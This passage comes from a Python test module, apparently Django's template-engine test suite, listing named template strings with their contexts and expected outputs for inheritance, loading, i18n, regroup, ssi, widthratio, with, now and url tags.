            'inheritance08': (""{% extends 'inheritance02' %}{% block second %}5{% endblock %}"", {}, '1235'),

            # Three-level with second and third levels blank
            'inheritance09': (""{% extends 'inheritance04' %}"", {}, '1&3_'),

            # Three-level with space NOT in a block -- should be ignored
            'inheritance10': (""{% extends 'inheritance04' %}      "", {}, '1&3_'),

            # Three-level with both blocks defined on this level, but none on second level
            'inheritance11': (""{% extends 'inheritance04' %}{% block first %}2{% endblock %}{% block second %}4{% endblock %}"", {}, '1234'),

            # Three-level with this level providing one and second level providing the other
            'inheritance12': (""{% extends 'inheritance07' %}{% block first %}2{% endblock %}"", {}, '1235'),

            # Three-level with this level overriding second level
            'inheritance13': (""{% extends 'inheritance02' %}{% block first %}a{% endblock %}{% block second %}b{% endblock %}"", {}, '1a3b'),

            # A block defined only in a child template shouldn't be displayed
            'inheritance14': (""{% extends 'inheritance01' %}{% block newblock %}NO DISPLAY{% endblock %}"", {}, '1&3_'),

            # A block within another block
            'inheritance15': (""{% extends 'inheritance01' %}{% block first %}2{% block inner %}inner{% endblock %}{% endblock %}"", {}, '12inner3_'),

            # A block within another block (level 2)
            'inheritance16': (""{% extends 'inheritance15' %}{% block inner %}out{% endblock %}"", {}, '12out3_'),

            # {% load %} tag (parent -- setup for exception04)
            'inheritance17': (""{% load testtags %}{% block first %}1234{% endblock %}"", {}, '1234'),

            # {% load %} tag (standard usage, without inheritance)
            'inheritance18': (""{% load testtags %}{% echo this that theother %}5678"", {}, 'this that theother5678'),

            # {% load %} tag (within a child template)
            'inheritance19': (""{% extends 'inheritance01' %}{% block first %}{% load testtags %}{% echo 400 %}5678{% endblock %}"", {}, '140056783_'),

            # Two-level inheritance with {{ block.super }}
            'inheritance20': (""{% extends 'inheritance01' %}{% block first %}{{ block.super }}a{% endblock %}"", {}, '1&a3_'),

            # Three-level inheritance with {{ block.super }} from parent
            'inheritance21': (""{% extends 'inheritance02' %}{% block first %}{{ block.super }}a{% endblock %}"", {}, '12a34'),

            # Three-level inheritance with {{ block.super }} from grandparent
            'inheritance22': (""{% extends 'inheritance04' %}{% block first %}{{ block.super }}a{% endblock %}"", {}, '1&a3_'),

            # Three-level inheritance with {{ block.super }} from parent and grandparent
            'inheritance23': (""{% extends 'inheritance20' %}{% block first %}{{ block.super }}b{% endblock %}"", {}, '1&ab3_'),

            # Inheritance from local context without use of template loader
            'inheritance24': (""{% extends context_template %}{% block first %}2{% endblock %}{% block second %}4{% endblock %}"", {'context_template': template.Template(""1{% block first %}_{% endblock %}3{% block second %}_{% endblock %}"")}, '1234'),

            # Inheritance from local context with variable parent template
            'inheritance25': (""{% extends context_template.1 %}{% block first %}2{% endblock %}{% block second %}4{% endblock %}"", {'context_template': [template.Template(""Wrong""), template.Template(""1{% block first %}_{% endblock %}3{% block second %}_{% endblock %}"")]}, '1234'),

            # Set up a base template to extend
            'inheritance26': (""no tags"", {}, 'no tags'),

            # Inheritance from a template that doesn't have any blocks
            'inheritance27': (""{% extends 'inheritance26' %}"", {}, 'no tags'),

            # Set up a base template with a space in it.
            'inheritance 28': (""{% block first %}!{% endblock %}"", {}, '!'),

            # Inheritance from a template with a space in its name should work.
            'inheritance29': (""{% extends 'inheritance 28' %}"", {}, '!'),

            # Base template, putting block in a conditional {% if %} tag
            'inheritance30': (""1{% if optional %}{% block opt %}2{% endblock %}{% endif %}3"", {'optional': True}, '123'),

            # Inherit from a template with block wrapped in an {% if %} tag (in parent), still gets overridden
            'inheritance31': (""{% extends 'inheritance30' %}{% block opt %}two{% endblock %}"", {'optional': True}, '1two3'),
            'inheritance32': (""{% extends 'inheritance30' %}{% block opt %}two{% endblock %}"", {}, '13'),

            # Base template, putting block in a conditional {% ifequal %} tag
            'inheritance33': (""1{% ifequal optional 1 %}{% block opt %}2{% endblock %}{% endifequal %}3"", {'optional': 1}, '123'),

            # Inherit from a template with block wrapped in an {% ifequal %} tag (in parent), still gets overridden
            'inheritance34': (""{% extends 'inheritance33' %}{% block opt %}two{% endblock %}"", {'optional': 1}, '1two3'),
            'inheritance35': (""{% extends 'inheritance33' %}{% block opt %}two{% endblock %}"", {'optional': 2}, '13'),

            # Base template, putting block in a {% for %} tag
            'inheritance36': (""{% for n in numbers %}_{% block opt %}{{ n }}{% endblock %}{% endfor %}_"", {'numbers': '123'}, '_1_2_3_'),

            # Inherit from a template with block wrapped in an {% for %} tag (in parent), still gets overridden
            'inheritance37': (""{% extends 'inheritance36' %}{% block opt %}X{% endblock %}"", {'numbers': '123'}, '_X_X_X_'),
            'inheritance38': (""{% extends 'inheritance36' %}{% block opt %}X{% endblock %}"", {}, '_'),

            # The super block will still be found.
            'inheritance39': (""{% extends 'inheritance30' %}{% block opt %}new{{ block.super }}{% endblock %}"", {'optional': True}, '1new23'),
            'inheritance40': (""{% extends 'inheritance33' %}{% block opt %}new{{ block.super }}{% endblock %}"", {'optional': 1}, '1new23'),
            'inheritance41': (""{% extends 'inheritance36' %}{% block opt %}new{{ block.super }}{% endblock %}"", {'numbers': '123'}, '_new1_new2_new3_'),

            # Expression starting and ending with a quote
            'inheritance42': (""{% extends 'inheritance02'|cut:' ' %}"", {}, '1234'),

            ### LOADING TAG LIBRARIES #################################################
            'load01': (""{% load testtags subpackage.echo %}{% echo test %} {% echo2 \""test\"" %}"", {}, ""test test""),
            'load02': (""{% load subpackage.echo %}{% echo2 \""test\"" %}"", {}, ""test""),

            # {% load %} tag, importing individual tags
            'load03': (""{% load echo from testtags %}{% echo this that theother %}"", {}, 'this that theother'),
            'load04': (""{% load echo other_echo from testtags %}{% echo this that theother %} {% other_echo and another thing %}"", {}, 'this that theother and another thing'),
            'load05': (""{% load echo upper from testtags %}{% echo this that theother %} {{ statement|upper }}"", {'statement': 'not shouting'}, 'this that theother NOT SHOUTING'),
            'load06': (""{% load echo2 from subpackage.echo %}{% echo2 \""test\"" %}"", {}, ""test""),

            # {% load %} tag errors
            'load07': (""{% load echo other_echo bad_tag from testtags %}"", {}, template.TemplateSyntaxError),
            'load08': (""{% load echo other_echo bad_tag from %}"", {}, template.TemplateSyntaxError),
            'load09': (""{% load from testtags %}"", {}, template.TemplateSyntaxError),
            'load10': (""{% load echo from bad_library %}"", {}, template.TemplateSyntaxError),
            'load11': (""{% load subpackage.echo_invalid %}"", {}, template.TemplateSyntaxError),
            'load12': (""{% load subpackage.missing %}"", {}, template.TemplateSyntaxError),

            'lorem1': (""{% lorem 3 w %}"", {}, ""lorem ipsum dolor""),

            ### I18N ##################################################################

            # {% spaceless %} tag
            'spaceless01': (""{% spaceless %} <b>    <i> text </i>    </b> {% endspaceless %}"", {}, ""<b><i> text </i></b>""),
            'spaceless02': (""{% spaceless %} <b> \n <i> text </i> \n </b> {% endspaceless %}"", {}, ""<b><i> text </i></b>""),
            'spaceless03': (""{% spaceless %}<b><i>text</i></b>{% endspaceless %}"", {}, ""<b><i>text</i></b>""),
            'spaceless04': (""{% spaceless %}<b>   <i>{{ text }}</i>  </b>{% endspaceless %}"", {'text': 'This & that'}, ""<b><i>This &amp; that</i></b>""),
            'spaceless05': (""{% autoescape off %}{% spaceless %}<b>   <i>{{ text }}</i>  </b>{% endspaceless %}{% endautoescape %}"", {'text': 'This & that'}, ""<b><i>This & that</i></b>""),
            'spaceless06': (""{% spaceless %}<b>   <i>{{ text|safe }}</i>  </b>{% endspaceless %}"", {'text': 'This & that'}, ""<b><i>This & that</i></b>""),

            # simple translation of a string delimited by '
            'i18n01': (""{% load i18n %}{% trans 'xxxyyyxxx' %}"", {}, ""xxxyyyxxx""),

            # simple translation of a string delimited by ""
            'i18n02': ('{% load i18n %}{% trans ""xxxyyyxxx"" %}', {}, ""xxxyyyxxx""),

            # simple translation of a variable
            'i18n03': ('{% load i18n %}{% blocktrans %}{{ anton }}{% endblocktrans %}', {'anton': b'\xc3\x85'}, ""Å""),

            # simple translation of a variable and filter
            'i18n04': ('{% load i18n %}{% blocktrans with berta=anton|lower %}{{ berta }}{% endblocktrans %}', {'anton': b'\xc3\x85'}, 'å'),
            'legacyi18n04': ('{% load i18n %}{% blocktrans with anton|lower as berta %}{{ berta }}{% endblocktrans %}', {'anton': b'\xc3\x85'}, 'å'),

            # simple translation of a string with interpolation
            'i18n05': ('{% load i18n %}{% blocktrans %}xxx{{ anton }}xxx{% endblocktrans %}', {'anton': 'yyy'}, ""xxxyyyxxx""),

            # simple translation of a string to german
            'i18n06': ('{% load i18n %}{% trans ""Page not found"" %}', {'LANGUAGE_CODE': 'de'}, ""Seite nicht gefunden""),

            # translation of singular form
            'i18n07': ('{% load i18n %}{% blocktrans count counter=number %}singular{% plural %}{{ counter }} plural{% endblocktrans %}', {'number': 1}, ""singular""),
            'legacyi18n07': ('{% load i18n %}{% blocktrans count number as counter %}singular{% plural %}{{ counter }} plural{% endblocktrans %}', {'number': 1}, ""singular""),

            # translation of plural form
            'i18n08': ('{% load i18n %}{% blocktrans count number as counter %}singular{% plural %}{{ counter }} plural{% endblocktrans %}', {'number': 2}, ""2 plural""),
            'legacyi18n08': ('{% load i18n %}{% blocktrans count counter=number %}singular{% plural %}{{ counter }} plural{% endblocktrans %}', {'number': 2}, ""2 plural""),

            # simple non-translation (only marking) of a string to german
            'i18n09': ('{% load i18n %}{% trans ""Page not found"" noop %}', {'LANGUAGE_CODE': 'de'}, ""Page not found""),

            # translation of a variable with a translated filter
            'i18n10': ('{{ bool|yesno:_(""yes,no,maybe"") }}', {'bool': True, 'LANGUAGE_CODE': 'de'}, 'Ja'),

            # translation of a variable with a non-translated filter
            'i18n11': ('{{ bool|yesno:""ja,nein"" }}', {'bool': True}, 'ja'),

            # usage of the get_available_languages tag
            'i18n12': ('{% load i18n %}{% get_available_languages as langs %}{% for lang in langs %}{% ifequal lang.0 ""de"" %}{{ lang.0 }}{% endifequal %}{% endfor %}', {}, 'de'),

            # translation of constant strings
            'i18n13': ('{{ _(""Password"") }}', {'LANGUAGE_CODE': 'de'}, 'Passwort'),
            'i18n14': ('{% cycle ""foo"" _(""Password"") _(\'Password\') as c %} {% cycle c %} {% cycle c %}', {'LANGUAGE_CODE': 'de'}, 'foo Passwort Passwort'),
            'i18n15': ('{{ absent|default:_(""Password"") }}', {'LANGUAGE_CODE': 'de', 'absent': """"}, 'Passwort'),
            'i18n16': ('{{ _(""<"") }}', {'LANGUAGE_CODE': 'de'}, '<'),

            # Escaping inside blocktrans and trans works as if it was directly in the
            # template.
            'i18n17': ('{% load i18n %}{% blocktrans with berta=anton|escape %}{{ berta }}{% endblocktrans %}', {'anton': 'α & β'}, 'α &amp; β'),
            'i18n18': ('{% load i18n %}{% blocktrans with berta=anton|force_escape %}{{ berta }}{% endblocktrans %}', {'anton': 'α & β'}, 'α &amp; β'),
            'i18n19': ('{% load i18n %}{% blocktrans %}{{ andrew }}{% endblocktrans %}', {'andrew': 'a & b'}, 'a &amp; b'),
            'i18n20': ('{% load i18n %}{% trans andrew %}', {'andrew': 'a & b'}, 'a &amp; b'),
            'i18n21': ('{% load i18n %}{% blocktrans %}{{ andrew }}{% endblocktrans %}', {'andrew': mark_safe('a & b')}, 'a & b'),
            'i18n22': ('{% load i18n %}{% trans andrew %}', {'andrew': mark_safe('a & b')}, 'a & b'),
            'legacyi18n17': ('{% load i18n %}{% blocktrans with anton|escape as berta %}{{ berta }}{% endblocktrans %}', {'anton': 'α & β'}, 'α &amp; β'),
            'legacyi18n18': ('{% load i18n %}{% blocktrans with anton|force_escape as berta %}{{ berta }}{% endblocktrans %}', {'anton': 'α & β'}, 'α &amp; β'),

            # Use filters with the {% trans %} tag, #5972
            'i18n23': ('{% load i18n %}{% trans ""Page not found""|capfirst|slice:""6:"" %}', {'LANGUAGE_CODE': 'de'}, 'nicht gefunden'),
            'i18n24': (""{% load i18n %}{% trans 'Page not found'|upper %}"", {'LANGUAGE_CODE': 'de'}, 'SEITE NICHT GEFUNDEN'),
            'i18n25': ('{% load i18n %}{% trans somevar|upper %}', {'somevar': 'Page not found', 'LANGUAGE_CODE': 'de'}, 'SEITE NICHT GEFUNDEN'),

            # translation of plural form with extra field in singular form (#13568)
            'i18n26': ('{% load i18n %}{% blocktrans with extra_field=myextra_field count counter=number %}singular {{ extra_field }}{% plural %}plural{% endblocktrans %}', {'number': 1, 'myextra_field': 'test'}, ""singular test""),
            'legacyi18n26': ('{% load i18n %}{% blocktrans with myextra_field as extra_field count number as counter %}singular {{ extra_field }}{% plural %}plural{% endblocktrans %}', {'number': 1, 'myextra_field': 'test'}, ""singular test""),

            # translation of singular form in russian (#14126)
            'i18n27': ('{% load i18n %}{% blocktrans count counter=number %}{{ counter }} result{% plural %}{{ counter }} results{% endblocktrans %}', {'number': 1, 'LANGUAGE_CODE': 'ru'}, '1 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442'),
            'legacyi18n27': ('{% load i18n %}{% blocktrans count number as counter %}{{ counter }} result{% plural %}{{ counter }} results{% endblocktrans %}', {'number': 1, 'LANGUAGE_CODE': 'ru'}, '1 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442'),

            # simple translation of multiple variables
            'i18n28': ('{% load i18n %}{% blocktrans with a=anton b=berta %}{{ a }} + {{ b }}{% endblocktrans %}', {'anton': 'α', 'berta': 'β'}, 'α + β'),
            'legacyi18n28': ('{% load i18n %}{% blocktrans with anton as a and berta as b %}{{ a }} + {{ b }}{% endblocktrans %}', {'anton': 'α', 'berta': 'β'}, 'α + β'),

            # retrieving language information
            'i18n28_2': ('{% load i18n %}{% get_language_info for ""de"" as l %}{{ l.code }}: {{ l.name }}/{{ l.name_local }} bidi={{ l.bidi }}', {}, 'de: German/Deutsch bidi=False'),
            'i18n29': ('{% load i18n %}{% get_language_info for LANGUAGE_CODE as l %}{{ l.code }}: {{ l.name }}/{{ l.name_local }} bidi={{ l.bidi }}', {'LANGUAGE_CODE': 'fi'}, 'fi: Finnish/suomi bidi=False'),
            'i18n30': ('{% load i18n %}{% get_language_info_list for langcodes as langs %}{% for l in langs %}{{ l.code }}: {{ l.name }}/{{ l.name_local }} bidi={{ l.bidi }}; {% endfor %}', {'langcodes': ['it', 'no']}, 'it: Italian/italiano bidi=False; no: Norwegian/norsk bidi=False; '),
            'i18n31': ('{% load i18n %}{% get_language_info_list for langcodes as langs %}{% for l in langs %}{{ l.code }}: {{ l.name }}/{{ l.name_local }} bidi={{ l.bidi }}; {% endfor %}', {'langcodes': (('sl', 'Slovenian'), ('fa', 'Persian'))}, 'sl: Slovenian/Sloven\u0161\u010dina bidi=False; fa: Persian/\u0641\u0627\u0631\u0633\u06cc bidi=True; '),
            'i18n32': ('{% load i18n %}{{ ""hu""|language_name }} {{ ""hu""|language_name_local }} {{ ""hu""|language_bidi }}', {}, 'Hungarian Magyar False'),
            'i18n33': ('{% load i18n %}{{ langcode|language_name }} {{ langcode|language_name_local }} {{ langcode|language_bidi }}', {'langcode': 'nl'}, 'Dutch Nederlands False'),

            # blocktrans handling of variables which are not in the context.
            # this should work as if blocktrans was not there (bug #19915)
            'i18n34': ('{% load i18n %}{% blocktrans %}{{ missing }}{% endblocktrans %}', {}, ('', 'INVALID')),
            'i18n34_2': (""{% load i18n %}{% blocktrans with a='α' %}{{ missing }}{% endblocktrans %}"", {}, ('', 'INVALID')),
            'i18n34_3': ('{% load i18n %}{% blocktrans with a=anton %}{{ missing }}{% endblocktrans %}', {'anton': 'α'}, ('', 'INVALID')),

            # trans tag with as var
            'i18n35': ('{% load i18n %}{% trans ""Page not found"" as page_not_found %}{{ page_not_found }}', {'LANGUAGE_CODE': 'de'}, ""Seite nicht gefunden""),
            'i18n36': ('{% load i18n %}{% trans ""Page not found"" noop as page_not_found %}{{ page_not_found }}', {'LANGUAGE_CODE': 'de'}, ""Page not found""),
            'i18n36': ('{% load i18n %}{% trans ""Page not found"" as page_not_found noop %}{{ page_not_found }}', {'LANGUAGE_CODE': 'de'}, ""Page not found""),
            'i18n37': ('{% load i18n %}{% trans ""Page not found"" as page_not_found %}{% blocktrans %}Error: {{ page_not_found }}{% endblocktrans %}', {'LANGUAGE_CODE': 'de'}, ""Error: Seite nicht gefunden""),

            # Test whitespace in filter arguments
            'i18n38': ('{% load i18n custom %}{% get_language_info for ""de""|noop:""x y"" as l %}{{ l.code }}: {{ l.name }}/{{ l.name_local }} bidi={{ l.bidi }}', {}, 'de: German/Deutsch bidi=False'),
            'i18n38_2': ('{% load i18n custom %}{% get_language_info_list for langcodes|noop:""x y"" as langs %}{% for l in langs %}{{ l.code }}: {{ l.name }}/{{ l.name_local }} bidi={{ l.bidi }}; {% endfor %}', {'langcodes': ['it', 'no']}, 'it: Italian/italiano bidi=False; no: Norwegian/norsk bidi=False; '),

            ### HANDLING OF TEMPLATE_STRING_IF_INVALID ###################################

            'invalidstr01': ('{{ var|default:""Foo"" }}', {}, ('Foo', 'INVALID')),
            'invalidstr02': ('{{ var|default_if_none:""Foo"" }}', {}, ('', 'INVALID')),
            'invalidstr03': ('{% for v in var %}({{ v }}){% endfor %}', {}, ''),
            'invalidstr04': ('{% if var %}Yes{% else %}No{% endif %}', {}, 'No'),
            'invalidstr04_2': ('{% if var|default:""Foo"" %}Yes{% else %}No{% endif %}', {}, 'Yes'),
            'invalidstr05': ('{{ var }}', {}, ('', ('INVALID %s', 'var'))),
            'invalidstr06': ('{{ var.prop }}', {'var': {}}, ('', ('INVALID %s', 'var.prop'))),
            'invalidstr07': ('{% load i18n %}{% blocktrans %}{{ var }}{% endblocktrans %}',
                             {}, ('', ('INVALID %s', 'var'))),

            ### MULTILINE #############################################################

            'multiline01': (""""""
                            Hello,
                            boys.
                            How
                            are
                            you
                            gentlemen.
                            """""",
                            {},
                            """"""
                            Hello,
                            boys.
                            How
                            are
                            you
                            gentlemen.
                            """"""),

            ### REGROUP TAG ###########################################################
            'regroup01': ('{% regroup data by bar as grouped %}'
                          '{% for group in grouped %}'
                          '{{ group.grouper }}:'
                          '{% for item in group.list %}'
                          '{{ item.foo }}'
                          '{% endfor %},'
                          '{% endfor %}',
                          {'data': [{'foo': 'c', 'bar': 1},
                                    {'foo': 'd', 'bar': 1},
                                    {'foo': 'a', 'bar': 2},
                                    {'foo': 'b', 'bar': 2},
                                    {'foo': 'x', 'bar': 3}]},
                          '1:cd,2:ab,3:x,'),

            # Test for silent failure when target variable isn't found
            'regroup02': ('{% regroup data by bar as grouped %}'
                          '{% for group in grouped %}'
                          '{{ group.grouper }}:'
                          '{% for item in group.list %}'
                          '{{ item.foo }}'
                          '{% endfor %},'
                          '{% endfor %}',
                          {}, ''),

            # Regression tests for #17675
            # The date template filter has expects_localtime = True
            'regroup03': ('{% regroup data by at|date:""m"" as grouped %}'
                          '{% for group in grouped %}'
                          '{{ group.grouper }}:'
                          '{% for item in group.list %}'
                          '{{ item.at|date:""d"" }}'
                          '{% endfor %},'
                          '{% endfor %}',
                          {'data': [{'at': date(2012, 2, 14)},
                                    {'at': date(2012, 2, 28)},
                                    {'at': date(2012, 7, 4)}]},
                          '02:1428,07:04,'),
            # The join template filter has needs_autoescape = True
            'regroup04': ('{% regroup data by bar|join:"""" as grouped %}'
                          '{% for group in grouped %}'
                          '{{ group.grouper }}:'
                          '{% for item in group.list %}'
                          '{{ item.foo|first }}'
                          '{% endfor %},'
                          '{% endfor %}',
                          {'data': [{'foo': 'x', 'bar': ['ab', 'c']},
                                    {'foo': 'y', 'bar': ['a', 'bc']},
                                    {'foo': 'z', 'bar': ['a', 'd']}]},
                          'abc:xy,ad:z,'),

            # Test syntax
            'regroup05': ('{% regroup data by bar as %}', {},
                template.TemplateSyntaxError),
            'regroup06': ('{% regroup data by bar thisaintright grouped %}', {},
                template.TemplateSyntaxError),
            'regroup07': ('{% regroup data thisaintright bar as grouped %}', {},
                template.TemplateSyntaxError),
            'regroup08': ('{% regroup data by bar as grouped toomanyargs %}', {},
                template.TemplateSyntaxError),

            ### SSI TAG ########################################################

            # Test normal behavior
            'ssi01': ('{%% ssi ""%s"" %%}' % os.path.join(basedir, 'templates', 'ssi_include.html'), {}, 'This is for testing an ssi include. {{ test }}\n'),
            'ssi02': ('{%% ssi ""%s"" %%}' % os.path.join(basedir, 'not_here'), {}, ''),
            'ssi03': (""{%% ssi '%s' %%}"" % os.path.join(basedir, 'not_here'), {}, ''),

            # Test passing as a variable
            'ssi04': ('{% load ssi from future %}{% ssi ssi_file %}', {'ssi_file': os.path.join(basedir, 'templates', 'ssi_include.html')}, 'This is for testing an ssi include. {{ test }}\n'),
            'ssi05': ('{% load ssi from future %}{% ssi ssi_file %}', {'ssi_file': 'no_file'}, ''),

            # Test parsed output
            'ssi06': ('{%% ssi ""%s"" parsed %%}' % os.path.join(basedir, 'templates', 'ssi_include.html'), {'test': 'Look ma! It parsed!'}, 'This is for testing an ssi include. Look ma! It parsed!\n'),
            'ssi07': ('{%% ssi ""%s"" parsed %%}' % os.path.join(basedir, 'not_here'), {'test': 'Look ma! It parsed!'}, ''),

            # Test space in file name
            'ssi08': ('{%% ssi ""%s"" %%}' % os.path.join(basedir, 'templates', 'ssi include with spaces.html'), {}, 'This is for testing an ssi include with spaces in its name. {{ test }}\n'),
            'ssi09': ('{%% ssi ""%s"" parsed %%}' % os.path.join(basedir, 'templates', 'ssi include with spaces.html'), {'test': 'Look ma! It parsed!'}, 'This is for testing an ssi include with spaces in its name. Look ma! It parsed!\n'),

            ### TEMPLATETAG TAG #######################################################
            'templatetag01': ('{% templatetag openblock %}', {}, '{%'),
            'templatetag02': ('{% templatetag closeblock %}', {}, '%}'),
            'templatetag03': ('{% templatetag openvariable %}', {}, '{{'),
            'templatetag04': ('{% templatetag closevariable %}', {}, '}}'),
            'templatetag05': ('{% templatetag %}', {}, template.TemplateSyntaxError),
            'templatetag06': ('{% templatetag foo %}', {}, template.TemplateSyntaxError),
            'templatetag07': ('{% templatetag openbrace %}', {}, '{'),
            'templatetag08': ('{% templatetag closebrace %}', {}, '}'),
            'templatetag09': ('{% templatetag openbrace %}{% templatetag openbrace %}', {}, '{{'),
            'templatetag10': ('{% templatetag closebrace %}{% templatetag closebrace %}', {}, '}}'),
            'templatetag11': ('{% templatetag opencomment %}', {}, '{#'),
            'templatetag12': ('{% templatetag closecomment %}', {}, '#}'),

            # Simple tags with customized names
            'simpletag-renamed01': ('{% load custom %}{% minusone 7 %}', {}, '6'),
            'simpletag-renamed02': ('{% load custom %}{% minustwo 7 %}', {}, '5'),
            'simpletag-renamed03': ('{% load custom %}{% minustwo_overridden_name 7 %}', {}, template.TemplateSyntaxError),

            ### WIDTHRATIO TAG ########################################################
            'widthratio01': ('{% widthratio a b 0 %}', {'a': 50, 'b': 100}, '0'),
            'widthratio02': ('{% widthratio a b 100 %}', {'a': 0, 'b': 0}, '0'),
            'widthratio03': ('{% widthratio a b 100 %}', {'a': 0, 'b': 100}, '0'),
            'widthratio04': ('{% widthratio a b 100 %}', {'a': 50, 'b': 100}, '50'),
            'widthratio05': ('{% widthratio a b 100 %}', {'a': 100, 'b': 100}, '100'),

            # 62.5 should round to 63 on Python 2 and 62 on Python 3
            # See http://docs.python.org/py3k/whatsnew/3.0.html
            'widthratio06': ('{% widthratio a b 100 %}', {'a': 50, 'b': 80}, '62' if six.PY3 else '63'),

            # 71.4 should round to 71
            'widthratio07': ('{% widthratio a b 100 %}', {'a': 50, 'b': 70}, '71'),

            # Raise exception if we don't have 3 args, last one an integer
            'widthratio08': ('{% widthratio %}', {}, template.TemplateSyntaxError),
            'widthratio09': ('{% widthratio a b %}', {'a': 50, 'b': 100}, template.TemplateSyntaxError),
            'widthratio10': ('{% widthratio a b 100.0 %}', {'a': 50, 'b': 100}, '50'),

            # #10043: widthratio should allow max_width to be a variable
            'widthratio11': ('{% widthratio a b c %}', {'a': 50, 'b': 100, 'c': 100}, '50'),

            # #18739: widthratio should handle None args consistently with non-numerics
            'widthratio12a': ('{% widthratio a b c %}', {'a': 'a', 'b': 100, 'c': 100}, ''),
            'widthratio12b': ('{% widthratio a b c %}', {'a': None, 'b': 100, 'c': 100}, ''),
            'widthratio13a': ('{% widthratio a b c %}', {'a': 0, 'b': 'b', 'c': 100}, ''),
            'widthratio13b': ('{% widthratio a b c %}', {'a': 0, 'b': None, 'c': 100}, ''),
            'widthratio14a': ('{% widthratio a b c %}', {'a': 0, 'b': 100, 'c': 'c'}, template.TemplateSyntaxError),
            'widthratio14b': ('{% widthratio a b c %}', {'a': 0, 'b': 100, 'c': None}, template.TemplateSyntaxError),

            # Test whitespace in filter argument
            'widthratio15': ('{% load custom %}{% widthratio a|noop:""x y"" b 0 %}', {'a': 50, 'b': 100}, '0'),

            # Widthratio with variable assignment
            'widthratio16': ('{% widthratio a b 100 as variable %}-{{ variable }}-', {'a': 50, 'b': 100}, '-50-'),
            'widthratio17': ('{% widthratio a b 100 as variable %}-{{ variable }}-', {'a': 100, 'b': 100}, '-100-'),

            'widthratio18': ('{% widthratio a b 100 as %}', {}, template.TemplateSyntaxError),
            'widthratio19': ('{% widthratio a b 100 not_as variable %}', {}, template.TemplateSyntaxError),
            'widthratio20': ('{% widthratio a b 100 %}', {'a': float('inf'), 'b': float('inf')}, ''),
            'widthratio21': ('{% widthratio a b 100 %}', {'a': float('inf'), 'b': 2}, ''),

            ### WITH TAG ########################################################
            'with01': ('{% with key=dict.key %}{{ key }}{% endwith %}', {'dict': {'key': 50}}, '50'),
            'legacywith01': ('{% with dict.key as key %}{{ key }}{% endwith %}', {'dict': {'key': 50}}, '50'),

            'with02': ('{{ key }}{% with key=dict.key %}{{ key }}-{{ dict.key }}-{{ key }}{% endwith %}{{ key }}', {'dict': {'key': 50}}, ('50-50-50', 'INVALID50-50-50INVALID')),
            'legacywith02': ('{{ key }}{% with dict.key as key %}{{ key }}-{{ dict.key }}-{{ key }}{% endwith %}{{ key }}', {'dict': {'key': 50}}, ('50-50-50', 'INVALID50-50-50INVALID')),

            'with03': ('{% with a=alpha b=beta %}{{ a }}{{ b }}{% endwith %}', {'alpha': 'A', 'beta': 'B'}, 'AB'),

            'with-error01': ('{% with dict.key xx key %}{{ key }}{% endwith %}', {'dict': {'key': 50}}, template.TemplateSyntaxError),
            'with-error02': ('{% with dict.key as %}{{ key }}{% endwith %}', {'dict': {'key': 50}}, template.TemplateSyntaxError),

            ### NOW TAG ########################################################
            # Simple case
            'now01': ('{% now ""j n Y"" %}', {}, ""%d %d %d"" % (
                datetime.now().day, datetime.now().month, datetime.now().year)),
            # Check parsing of locale strings
            'now02': ('{% now ""DATE_FORMAT"" %}', {}, date_format(datetime.now())),
            # Also accept simple quotes - #15092
            'now03': (""{% now 'j n Y' %}"", {}, ""%d %d %d"" % (
                datetime.now().day, datetime.now().month, datetime.now().year)),
            'now04': (""{% now 'DATE_FORMAT' %}"", {}, date_format(datetime.now())),
            'now05': ('''{% now 'j ""n"" Y'%}''', {}, '''%d ""%d"" %d''' % (
                datetime.now().day, datetime.now().month, datetime.now().year)),
            'now06': ('''{% now ""j 'n' Y""%}''', {}, '''%d '%d' %d''' % (
                datetime.now().day, datetime.now().month, datetime.now().year)),
            'now07': ('''{% now ""j n Y"" as N %}-{{N}}-''', {}, '''-%d %d %d-''' % (
                datetime.now().day, datetime.now().month, datetime.now().year)),

            ### URL TAG ########################################################
            # Successes
            'url01': ('{% url ""template_tests.views.client"" client.id %}', {'client': {'id': 1}}, '/client/1/'),
            'url02': ('{% url ""template_tests.views.client_action"" id=client.id action=""update"" %}', {'client': {'id': 1}}, '/client/1/update/'),
            'url02a': ('{% url ""template_tests.views.client_action"" client.id ""update"" %}', {'client': {'id': 1}}, '/client/1/update/'),
            'url02b': (""{% url 'template_tests.views.client_action' id=client.id action='update' %}"", {'client': {'id': 1}}, '/client/1/update/'),
            'url02c': (""{% url 'template_tests.views.client_action' client.id 'update' %}"", {'client': {'id': 1}}, '/client/1/update/'),
            'url03': ('{% url ""template_tests.views.index"" %}', {}, '/'),
            'url04': ('{% url ""named.client"" client.id %}', {'client': {'id': 1}}, '/named-client/1/'),
            'url05': ('{% url ""метка_оператора"" v %}', {'v': 'Ω'}, '/%D0%AE%D0%BD%D0%B8%D0%BA%D0%BE%D0%B4/%CE%A9/'),
            'url06': ('{% url ""метка_оператора_2"" tag=v %}', {'v': 'Ω'}, '/%D0%AE%D0%BD%D0%B8%D0%BA%D0%BE%D0%B4/%CE%A9/'),
            'url07': ('{% url ""template_tests.views.client2"" tag=v %}', {'v': 'Ω'}, '/%D0%AE%D0%BD%D0%B8%D0%BA%D0%BE%D0%B4/%CE%A9/'),
            'url08': ('{% url ""метка_оператора"" v %}', {'v': 'Ω'}, '/%D0%AE%D0%BD%D0%B8%D0%BA%D0%BE%D0%B4/%CE%A9/'),
            'url09': ('{% url ""метка_оператора_2"" tag=v %}', {'v': 'Ω'}, '/%D0%AE%D0%BD%D0%B8%D0%BA%D0%BE%D0%B4/%CE%A9/'),
            'url10': ('{% url ""template_tests.views.client_action"" id=client.id action=""two words"" %}', {'client': {'id': 1}}, '/client/1/two%20words/'),
            'url11': ('{% url ""template_tests.views.client_action"" id=client.id action=""=="" %}', {'client': {'id': 1}}, '/client/1/==/'),
            'url12': ('{% url ""template_tests.views.client_action"" id=client.id action=""!$&\'()*+,;=~:@,"" %}', {'client': {'id': 1}}, '/client/1/!$&\'()*+,;=~:@,/'),
            'url13': ('{% url ""template_tests.views.client_action"" id=client.id action=arg|join:""-"" %}', {'client': {'id': 1}, 'arg': ['a', 'b']}, '/client/1/a-b/'),
            'url14': ('{% url ""template_tests.views.client_action"" client.id arg|join:""-"" %}', {'client': {'id': 1}, 'arg': ['a', 'b']}, '/client/1/a-b/'),
            'url15': ('{% url ""template_tests.views.client_action"" 12 ""test"" %}', {}, '/client/12/test/'),
